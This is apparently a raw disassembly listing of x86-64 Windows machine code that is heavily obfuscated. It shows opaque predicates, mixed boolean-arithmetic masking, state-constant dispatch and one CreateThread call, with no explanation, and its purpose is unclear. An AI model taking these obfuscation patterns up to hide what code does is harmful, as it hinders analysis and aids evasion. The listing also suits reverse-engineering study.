and ebx, 0x120b4344
and edx, ecx
and ecx, 0xedf4bcbb
or ecx, ebx
mov ebx, ecx
xor ebx, 0x9c02cb3
xor ecx, 0x120b4344
mov edi, edx
not edi
mov esi, ecx
and esi, 0xe436924c
and ebx, 0x1bc96db3
or ebx, esi
or ecx, edi
and edi, 0xe436924c
and edx, 0x1bc96db3
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
xor ebx, 1
and ebx, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
not edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0xb9ff5c96
and ebx, 0x4600a369
or ebx, esi
or edx, edi
and edi, 0xb9ff5c96
and ecx, 0x4600a369
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebx, edx
and ebx, 0x49fd7ee9
and ecx, 0xb6028116
or ecx, ebx
xor ecx, 0xb6028116
or ecx, edx
cmp ecx, 0xffffffff
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov edx, ebx
mov r9d, ecx
and r9b, bl
xor cl, bl
or bl, r8b
xor bl, 1
xor dl, r8b
not dl
and dl, r8b
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, r9d
and al, cl
xor cl, r9b
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x7b23852e
mov edx, 0xe765b402
cmovne eax, edx
test cl, 1
mov ecx, eax
mov edx, 0x7b23852e
cmovne ecx, edx
test bl, 1
jmp 0x14019f4d9
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
or edx, 0xc6a46a96
mov edi, edx
not edi
or ebx, 0x395b9569
mov ecx, ebx
not ecx
and edx, 0xea0e046e
and edi, 0x11519101
or edi, edx
and ebx, 0xea0e046e
and ecx, 0x4a06a90
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x1f224862
and ecx, 0xe0ddb79d
or ecx, edx
mov edx, ecx
xor edx, 0xd98622f4
mov r9d, ecx
not r9d
mov edi, ecx
xor edi, 0x3045cc1c
and edi, edx
or edx, 0x163c1117
mov esi, edx
not esi
mov eax, edi
not eax
mov ebx, edx
and ebx, 0x89e34fa3
and esi, 0x6000a048
or esi, ebx
or edx, eax
and eax, 0x89e34fa3
and edi, 0x761cb05c
or edi, eax
xor edi, esi
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0x17382321
and edx, 0xe8c7dcde
or edx, eax
xor edx, 0x1043237
and r9d, 1
xor ecx, 0x2679dd0a
or ecx, r9d
mov eax, ecx
not eax
and eax, 0xbacdd340
and ecx, 0x45322cbf
or ecx, eax
xor ecx, 0x45322cbf
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x21a04c61
mov edx, ecx
and edx, 0x90192
or edx, eax
xor edx, 0x90192
and ecx, 0xde56b20c
or ecx, edx
mov eax, ecx
not eax
and eax, 0xde56b20c
and ecx, 0x21a94df3
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xc1e6f217
and eax, 0x3e190de8
or eax, ecx
xor eax, 0x3e190de8
setne cl
sete dl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov eax, edx
xor al, r8b
mov ebx, eax
and bl, dl
and al, r8b
mov r8d, ebx
xor r8b, 1
xor bl, al
xor al, 1
or al, r8b
xor al, 1
or al, bl
xor dl, r9b
and dl, r9b
xor cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and cl, bl
or bl, dl
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xc35becd6
mov ecx, 0xe1ceaf0c
cmovne eax, ecx
test dl, 1
mov ecx, eax
mov edx, 0xc35becd6
cmovne ecx, edx
test bl, 1
cmovne ecx, eax
jmp 0x1401a26c0
mov eax, 0x54051c53
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xeb27fff7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xa4e58275
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
mov ebx, edx
xor ebx, 0xfffffffe
and ebx, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov eax, ebx
not eax
mov edx, ecx
not edx
mov edi, eax
and edi, 0x4c4cbe8b
and ebx, 0xb3b34174
or ebx, edi
or eax, edx
and edx, 0x4c4cbe8b
and ecx, 0xb3b34174
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xbaad7645
and ecx, eax
and eax, 0x455289ba
or eax, edx
mov edx, eax
xor edx, 0x1500928
xor eax, 0xbaad7645
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x6427d093
and edx, 0x9bd82f6c
or edx, edi
or eax, ebx
and ebx, 0x6427d093
and ecx, 0x9bd82f6c
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe55c41e
and ecx, 0xf1aa3be1
or ecx, eax
xor ecx, 0xe55c41e
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402656c4], 0xa
setl cl
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
not al
mov edx, ebx
xor dl, 1
and bl, cl
or cl, dl
and dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0xb3d884fd
mov ebx, 0x1d608430
cmovne eax, ebx
test dl, dl
mov edx, eax
mov ebx, 0xb3d884fd
cmovne edx, ebx
test cl, cl
cmovne edx, eax
jmp 0x1401a2246
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x5e5eb00d
and eax, ecx
not ecx
and ecx, 0x5e5eb00d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xa1a14ff2
and eax, 0x5e5eb00d
or eax, ecx
mov ebx, eax
not ebx
mov edx, eax
xor edx, 0x30e4441a
and edx, ebx
mov ecx, eax
and ecx, 0xcf1bbbe5
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0xc3c77c00
and ecx, 0x3c3883ff
or ecx, edx
mov edx, ecx
xor edx, 0x888c724
and ebx, 1
xor eax, 0xfffffffe
or eax, ebx
mov ebx, eax
not ebx
and ebx, 0xdd72f559
and eax, 0x228d0aa6
or eax, ebx
mov ebx, eax
xor ebx, 0x890226
xor eax, 0xdd72f559
xor ecx, 0xf323381b
mov edi, ecx
and edi, 0xf75628c9
and edx, 0x8a9d736
or edx, edi
or ecx, eax
and eax, 0xf75628c9
and ebx, 0x8a9d736
or ebx, eax
xor ebx, edx
not ecx
or ecx, ebx
mov eax, ecx
mov edx, ecx
xor edx, 0xe029ec6e
and edx, ecx
not ecx
and ecx, 0xa001000a
and eax, 0x4028ec64
or eax, ecx
xor eax, 0x4028ec64
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x1fd61391
and edx, 0xe029ec6e
or edx, eax
mov eax, edx
not eax
and edx, 0xfad7b820
and eax, 0x52847df
or eax, edx
mov ecx, eax
xor ecx, 0xc0878800
xor eax, 0x100011d
and eax, 0x3b50313d
and ecx, 0xc4afcec2
or ecx, eax
xor ecx, 0xc4afcec2
setne r8b
sete al
cmp dword [0x1402656c4], 9
setg bl
mov ecx, ebx
xor cl, al
not cl
and cl, al
or al, bl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
and cl, r8b
xor bl, r8b
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ebx
mov r8d, ecx
and r8b, al
xor al, cl
mov r9d, ecx
and r9b, bl
xor cl, bl
xor bl, 1
and dl, bl
or al, r8b
xor dl, 1
mov r8d, ebx
xor r8b, dl
or dl, bl
xor dl, 1
or dl, r8b
xor dl, al
or cl, r9b
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0x58c8c00f
mov ecx, 0xd39af73a
cmovne eax, ecx
test dl, 1
cmove eax, ecx
test bl, 1
mov ecx, 0x58c8c00f
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x82012
mov ebx, edx
and ebx, 0x735900c
or ebx, ecx
xor ebx, 0x735900c
and edx, 0xf8c24fe1
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x89092966
and edx, 0x76f6d699
or edx, ecx
mov ebx, edx
xor ebx, 0x51084486
xor edx, 0x8e349978
mov ecx, edx
and ecx, 0xa4d73b19
and ebx, 0x5b28c4e6
or ebx, ecx
mov r9d, ebx
xor r9d, 0x5b28c4e6
mov esi, ebx
xor esi, 0x51585d27
and esi, r9d
or edx, 0xf58f663e
mov eax, edx
not eax
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xe9121319
and esi, 0x16edece6
or esi, edi
or ecx, edx
and edx, 0xe9121319
and eax, 0x26088c0
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xa14bf86f
and ecx, 0x5eb40790
or ecx, eax
mov edx, ecx
xor edx, 0x2b2b21aa
and r9d, 1
xor ebx, 0x5b28c4e7
or ebx, r9d
mov eax, ebx
not eax
and eax, 0xd6cddc37
and ebx, 0x293223c8
or ebx, eax
mov eax, ebx
xor eax, 0x29222188
xor ecx, 0x54c49e50
xor ebx, 0xd6cddc37
mov edi, ecx
and edi, 0x94104255
and edx, 0x6befbdaa
or edx, edi
or ecx, ebx
and ebx, 0x94104255
and eax, 0x6befbdaa
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xe56ab63d
and edx, ecx
or ecx, 0x1a9549c2
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xd000f5cc
and eax, 0x256a0231
or eax, edi
or ecx, ebx
and ebx, 0xd000f5cc
and edx, 0x2fff0a33
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xcdbf0e42
and ecx, 0x3240f1bd
or ecx, eax
mov eax, ecx
xor eax, 0x53224680
xor ecx, 0x18014
and eax, 0x7bf67eeb
and ecx, 0x84098114
or ecx, eax
mov eax, ecx
xor eax, 0x53826c83
xor ecx, 0x84008104
and ecx, 0xac74936c
and eax, 0x538b6c93
or eax, ecx
xor eax, 0x538b6c93
sete al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov edx, ebx
xor dl, al
xor dl, 1
or dl, bl
mov r9d, edx
xor r9b, 1
xor cl, al
mov eax, ecx
xor al, 1
and al, cl
mov r8d, eax
and r8b, cl
xor al, cl
mov r10d, r9d
xor r10b, cl
or cl, r9b
and r9b, dl
xor r9b, 1
mov ebx, r9d
xor bl, dl
or r9b, dl
xor r9b, 1
or r9b, bl
or al, r8b
xor al, r9b
xor cl, 1
or cl, r10b
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x96704de0
mov ebx, 0x40208270
cmovne ecx, ebx
test al, 1
cmove ecx, ebx
test dl, 1
mov eax, 0x96704de0
jmp 0x1401a26bd
mov rax, qword [rbp - 0x58]
mov r8, qword [rbp - 0x40]
mov rax, qword [rbp - 0x58]
sub rsp, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r9, r13
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0xc88040c0
and ebx, 0x10529814
or ebx, edx
mov edi, ebx
xor edi, 0x9014
xor ebx, 0xad25648a
or ecx, 0xd8d2d8d4
mov edx, ecx
not edx
and ebx, 0xbd776c8a
and edi, 0x40809054
or edi, ebx
and ecx, 0xbd776c8a
and edx, 0x2080321
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x527a3e9f
and edx, 0xad85c160
or edx, ecx
mov ebx, edx
xor ebx, 0x51071184
xor edx, 0x8aa8e64b
mov ecx, edx
and ecx, 0x2e700e32
and ebx, 0xd18ff1cd
or ebx, ecx
mov ecx, ebx
xor ecx, 0xd18ff1cd
xor ebx, 0x2e700e32
mov esi, ebx
or esi, 0xf5105a80
mov eax, esi
not eax
or edx, 0xaefa57f
mov edi, edx
not edi
and esi, 0x38690559
and eax, 0x286a026
or eax, esi
and edx, 0x38690559
and edi, 0xc5105a80
or edi, edx
xor edi, eax
mov eax, edi
not eax
and eax, 0xf5105a81
and edi, 0xaefa57e
or edi, eax
and ebx, 0xca959516
mov eax, ecx
and eax, 0x356a6ae9
or eax, ebx
xor eax, 0xca959517
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x6739b791
and ecx, 0x98c6486e
or ecx, eax
xor ecx, 0x98c6486e
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xdd84ef7b
and edx, ecx
not ecx
and ecx, 0x8580c53a
and eax, 0x58042a41
or eax, ecx
xor eax, 0x58042a41
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x227b1084
and edx, 0xdd84ef7b
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x798d4fe0
and edx, 0x8672b01f
or edx, ecx
xor edx, 0x8672b01f
or edx, eax
cmp edx, 0xffffffff
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
mov eax, edx
xor al, cl
and al, dl
mov ebx, eax
xor bl, 1
and al, bl
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
xor al, r10b
and r9b, dl
or dl, r10b
xor dl, 1
and cl, r10b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r8d, ecx
xor r8b, 1
mov ebx, r8d
and bl, cl
mov edx, ebx
xor dl, 1
xor bl, r8b
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
xor dl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x850bff6e
mov ebx, 0xbf56d218
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x850bff6e
jmp 0x1401a26bd
mov eax, 0x4e0bb47f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xb28cce85
and ecx, 0x4d73317a
or ecx, edx
xor ecx, 0x4d73317b
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x6813b5de
and ecx, 0x97ec4a21
or ecx, ebx
xor ecx, 0x6813b5de
xor edx, ecx
test edx, ecx
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and cl, bl
and bl, r8b
or bl, dl
mov r9d, ebx
xor r9b, al
and r9b, bl
and al, r8b
or al, cl
mov ecx, r9d
xor cl, 1
mov r8d, eax
xor r8b, cl
mov ebx, r9d
and bl, cl
mov edx, ebx
xor dl, 1
xor bl, r9b
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
xor r8b, 1
or al, r9b
xor al, 1
or al, r8b
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x21dd73c7
mov ebx, 0x4f52f271
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x21dd73c7
jmp 0x1401a14db
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x739e5bf2
and ecx, 0x8c61a40d
or ecx, edx
mov edx, ecx
not edx
and edx, 0x101a2f3b
and ecx, 0xefe5d0c4
or ecx, edx
mov edx, ecx
xor edx, 0x9c7b8b36
mov ebx, ecx
xor ebx, 0x28050c1
and ebx, 0x12d0d1f7
xor ecx, 0xf0041a46
and ecx, edx
and edx, 0xed2f2e08
or edx, ebx
mov ebx, edx
xor ebx, 0xed2f2e08
mov edi, edx
xor edi, 0x7eaf4087
and edi, ebx
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0xe0056a5b
and ecx, 0x1ffa95a4
or ecx, edi
xor ecx, 0x738504d5
and ebx, 1
xor edx, 0xed2f2e09
or edx, ebx
not edx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xc718eb0c
and edx, 0x38e714f3
or edx, ecx
mov ecx, edx
xor ecx, 0x6304e1
xor edx, 0xc718eb0c
mov ebx, edx
and ebx, 0xf994fa1a
and ecx, 0x66b05e5
or ecx, ebx
xor ecx, 0x66b05e5
or ecx, edx
cmp ecx, 0xffffffff
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ecx
or dl, r8b
xor dl, 1
xor cl, r8b
not cl
and cl, r8b
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov edx, ecx
xor dl, 1
and cl, al
and bl, dl
or bl, cl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x1e49b5ae
mov ecx, 0xa63321e9
cmovne eax, ecx
test dl, 1
mov ecx, 0x1e49b5ae
jmp 0x1401a1a38
mov eax, 0x83e98a43
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x100104
mov edi, ecx
and edi, 0x798dc420
or edi, edx
xor edi, 0x798dc420
mov edx, ecx
xor edx, 0x799dc524
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xd20e2627
and edx, 0x2df1d9d8
or edx, edi
mov edi, edx
xor edi, 0x546c1cfd
and ebx, 0xba4606ac
and ecx, 0x45b9f953
or ecx, ebx
mov ebx, ecx
xor ebx, 0x45b9f953
xor edx, 0xab93e302
and ebx, edx
xor ecx, 0xba4606ac
and ecx, edi
or ecx, ebx
xor edx, ecx
test edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, eax
xor cl, bl
xor bl, 1
or bl, al
mov eax, ecx
xor al, bl
xor al, 1
mov eax, 0x995df926
mov edx, 0xfbe3ad5c
cmovne eax, edx
test cl, cl
mov ecx, 0x995df926
cmovne ecx, eax
test bl, bl
jmp 0x14019f4d9
mov eax, 0xbb566c4
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x8104110
mov ebx, ecx
and ebx, 0x22a220a0
or ebx, edx
xor ebx, 0x22a220a0
and ecx, 0xd54d9e4f
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xd54d9e4f
and ecx, 0x2ab261b0
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0x108c4c7e
and edi, 0xef73b380
or edi, esi
or edx, ebx
and ebx, 0x108c4c7e
and ecx, 0xef73b381
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3e920906
and edx, 0xc16df6f9
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc16df6f9
and edx, 0x3e920906
or edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
xor bl, 1
or bl, al
xor dl, 1
or al, r8b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor al, 1
mov ecx, ebx
or cl, al
xor al, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xa6e154df
mov ebx, 0xd5f24fb9
cmovne eax, ebx
test cl, 1
mov ecx, 0xa6e154df
cmovne eax, ecx
test dl, 1
cmove eax, ebx
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xd8e1e69b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
and ebx, 0x24317876
and edx, 0xdbce8789
or edx, ebx
mov ebx, edx
xor ebx, 0xdbce8789
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0xa19e068a
and edi, 0x5e61f974
or edi, esi
or ecx, ebx
and ebx, 0xa19e068a
and edx, 0x5e61f975
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x933e2f2f
and ecx, 0x6cc1d0d0
or ecx, edx
mov edx, ecx
xor edx, 0x2c818000
xor ecx, 0x83260507
and ecx, 0xc36655d7
and edx, 0x3c99aa28
or edx, ecx
mov ecx, edx
xor ecx, 0x28190008
xor edx, 0x81205484
and edx, 0x95a0fea4
and ecx, 0x6a5f015b
or ecx, edx
mov edx, ecx
xor edx, 0x81a08e24
xor ecx, 0x2817010a
and ecx, 0x3c17718a
and edx, 0xc3e88e75
or edx, ecx
xor edx, 0xc3e88e75
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, r9d
xor bl, al
mov edx, ebx
and dl, r9b
and bl, al
mov r10d, edx
and r10b, bl
xor bl, dl
or bl, r10b
and r8b, al
or al, r9b
xor al, 1
and cl, r9b
or cl, r8b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
not al
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
xor bl, 1
and bl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0xee757e24
mov edi, 0x7ddf03d8
cmovne ebx, edi
test cl, 1
mov eax, ebx
cmovne eax, edi
test dl, dl
jmp 0x1401a008b
mov eax, 0xaabe0ef1
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebx, esi
or ebx, 0x8ee8d214
mov edx, ebx
not edx
or ecx, 0x711704c8
and ecx, 0x75bf04cc
mov edi, esi
and edi, 0x8a40d210
or edi, ecx
and ebx, 0x75bf04cc
and edx, 0x2923
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x71172dea
and edx, 0x8ee8d215
or edx, ecx
not edx
mov ecx, edx
and ecx, esi
xor edx, esi
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov edx, r9d
xor dl, cl
mov r11d, edx
xor r11b, 1
mov eax, edx
and al, cl
and r10b, r8b
and cl, r9b
or cl, r10b
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, r11b
and dl, al
or dl, cl
mov ecx, r11d
xor cl, al
or al, r11b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x2752326a
mov ebx, 0x22878c1b
cmovne eax, ebx
test dl, dl
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0x2752326a
jmp 0x14019970b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x8d83537e
mov edx, ebx
and edx, 0x727cac81
or edx, edi
mov edi, edx
not edi
and edi, 0x727cac80
and edx, 0x8d83537f
or edx, edi
and ecx, 0x3b52c314
and ebx, 0xc4ad3ceb
or ebx, ecx
mov ecx, ebx
xor ecx, 0x44a00009
mov esi, edx
not esi
mov edi, esi
and edi, 0xa15f7de2
and edx, 0x5ea0821d
or edx, edi
xor ebx, 0x21524100
and ebx, 0xa15f7de2
and ecx, 0x5ea0821d
or ecx, ebx
xor ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ecx, eax
xor cl, r9b
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, 1
or dl, r8b
or al, r9b
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov r8d, eax
xor r8b, 1
mov edx, r10d
and dl, cl
mov ebx, edx
xor bl, 1
xor dl, r10b
or bl, cl
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
and dl, al
and bl, r8b
or bl, dl
xor r8b, cl
or al, r10b
xor al, 1
or al, r8b
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x2bb3a61a
mov edx, 0xeea90cf
cmovne ecx, edx
test al, 1
mov eax, 0x2bb3a61a
cmovne eax, ecx
test bl, 1
jmp 0x1401a14db
mov eax, dword [0x1402656c8]
mov edx, dword [0x1402656c4]
lea esi, [rax - 1]
imul esi, eax
mov eax, esi
not eax
mov ebx, eax
and ebx, 0x4521425c
mov ecx, esi
and ecx, 0xbadebda2
or ecx, ebx
xor ecx, 0xbadebda2
mov edi, esi
xor edi, 0xfffffffe
and edi, esi
mov ebx, ecx
and ebx, edi
xor edi, ecx
or edi, ebx
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0x96066e56
and edi, 0x69f991a9
or edi, ecx
and esi, 0x96066e56
and eax, 0x69f991a9
or eax, esi
xor eax, edi
not eax
or eax, ebx
cmp eax, 0xffffffff
sete r10b
setne r8b
cmp edx, 9
setg al
cmp edx, 0xa
setl r9b
mov ebx, r8d
xor bl, r10b
and bl, r8b
mov edx, ebx
xor dl, 1
or bl, dl
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
mov edx, r9d
xor dl, bl
xor dl, 1
and dl, bl
or bl, r9b
xor dl, 1
mov ecx, edx
xor cl, bl
or dl, bl
xor dl, 1
or dl, cl
xor r10b, al
and r10b, al
xor al, r8b
mov ecx, r10d
xor cl, 1
xor r10b, al
xor al, 1
or al, cl
xor al, 1
or al, r10b
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x4bdfed8a
mov ebx, 0xf11c1949
cmovne edx, ebx
test al, 1
mov eax, 0x4bdfed8a
jmp 0x1401a2f66
mov eax, 0xab814d3c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov edi, ecx
or edi, 1
mov ebx, edi
not ebx
mov esi, ecx
or esi, 0xb9e602d2
and edi, 0xb9e602d2
and ebx, 0x4619fd2c
or ebx, edi
and esi, 0xb9e602d3
xor esi, ebx
and edx, 0xdbfd7491
and ecx, 0x24028b6e
or ecx, edx
mov edx, ecx
xor edx, 0x24028b6e
xor ecx, 0xdbfd7491
and ecx, esi
not esi
and edx, esi
or ecx, edx
xor esi, ecx
test esi, ecx
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
xor bl, r8b
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0x83e98a43
mov ebx, 0x81a9aa57
cmovne edx, ebx
test al, al
mov eax, 0x83e98a43
cmovne eax, edx
test cl, cl
jmp 0x1401a10d7
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0x43a2541e
mov ebx, edi
